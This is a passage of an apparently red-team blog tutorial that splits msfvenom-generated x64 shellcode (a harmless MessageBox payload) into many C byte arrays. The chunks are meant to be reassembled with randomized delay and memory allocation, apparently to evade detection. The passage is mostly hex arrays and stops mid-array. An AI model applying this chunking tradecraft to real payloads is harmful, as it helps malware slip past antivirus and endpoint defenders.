<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode16</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode17</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode18</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode19</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode20</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode21</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x48</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode22</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode23</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode24</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode25</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x72</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode26</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode27</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode28</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0x26</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode29</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode30</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x73</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode31</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x83</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode33</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">};</span>

<span class="c1">// Array of shellcode pointers</span>
<span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcodeChunks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="n">shellcode1</span><span class="p">,</span> <span class="n">shellcode2</span><span class="p">,</span> <span class="n">shellcode3</span><span class="p">,</span> <span class="n">shellcode4</span><span class="p">,</span> <span class="n">shellcode5</span><span class="p">,</span> <span class="n">shellcode6</span><span class="p">,</span> <span class="n">shellcode7</span><span class="p">,</span> <span class="n">shellcode8</span><span class="p">,</span> <span class="n">shellcode9</span><span class="p">,</span> <span class="n">shellcode10</span><span class="p">,</span> <span class="n">shellcode11</span><span class="p">,</span> <span class="n">shellcode12</span><span class="p">,</span> <span class="n">shellcode13</span><span class="p">,</span> <span class="n">shellcode14</span><span class="p">,</span> <span class="n">shellcode15</span><span class="p">,</span> <span class="n">shellcode16</span><span class="p">,</span> <span class="n">shellcode17</span><span class="p">,</span> <span class="n">shellcode18</span><span class="p">,</span> <span class="n">shellcode19</span><span class="p">,</span> <span class="n">shellcode20</span><span class="p">,</span> <span class="n">shellcode21</span><span class="p">,</span> <span class="n">shellcode22</span><span class="p">,</span> <span class="n">shellcode23</span><span class="p">,</span> <span class="n">shellcode24</span><span class="p">,</span> <span class="n">shellcode25</span><span class="p">,</span> <span class="n">shellcode26</span><span class="p">,</span> <span class="n">shellcode27</span><span class="p">,</span> <span class="n">shellcode28</span><span class="p">,</span> <span class="n">shellcode29</span><span class="p">,</span> <span class="n">shellcode30</span><span class="p">,</span> <span class="n">shellcode31</span><span class="p">,</span> <span class="n">shellcode32</span><span class="p">,</span> <span class="n">shellcode33</span><span class="p">};</span>

<span class="c1">// Array of shellcode sizes</span>
<span class="n">SIZE_T</span> <span class="n">shellcodeSizes</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode1</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode2</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode3</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode4</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode5</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode6</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode7</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode8</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode9</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode10</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode11</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode12</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode13</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode14</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode15</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode16</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode17</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode18</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode19</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode20</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode21</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode22</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode23</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode24</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode25</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode26</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode27</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode28</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode29</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode30</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode31</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode32</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode33</span><span class="p">)};</span>
</code></pre></div></div>

<p>Go ahead and copy that outputted code into Notepad or something.  This takes care of Part 1 of our code.  You could accomplish the randomized shellcode chunks using C/C++ if you like, but I like to pull in Python when I can as I find it simplifies matters considerably. 😺 On to Part 2!</p>

<h2 id="introducing-randomness-delay-and-memory-allocation-for-shellcode-chunks">Introducing Randomness, Delay, and Memory Allocation for Shellcode Chunks</h2>

<p>Okay!  Let’s go ahead and setup our main C++ code sections.  For section one, all we need to do is add in our previously python-generated code, like so:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;chrono&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;thread&gt;</span><span class="cp">
</span>
<span class="c1">//python generated code below!</span>
<span class="c1">//=====================================================================================================</span>
<span class="c1">// MessageBox shellcode generated with:</span>
<span class="c1">// msfvenom -p windows/x64/messagebox TEXT="g3tsyst3m" TITLE="g3tsyst3m" ICON=INFORMATION -f python</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xff</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode2</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode4</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode5</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode6</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode7</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode8</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x3c</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode9</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode10</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode11</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x78</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode13</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode14</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x50</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode15</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode16</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode17</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode18</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode19</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode20</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode21</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode22</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode23</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode24</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x88</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode25</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode26</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode27</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode28</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
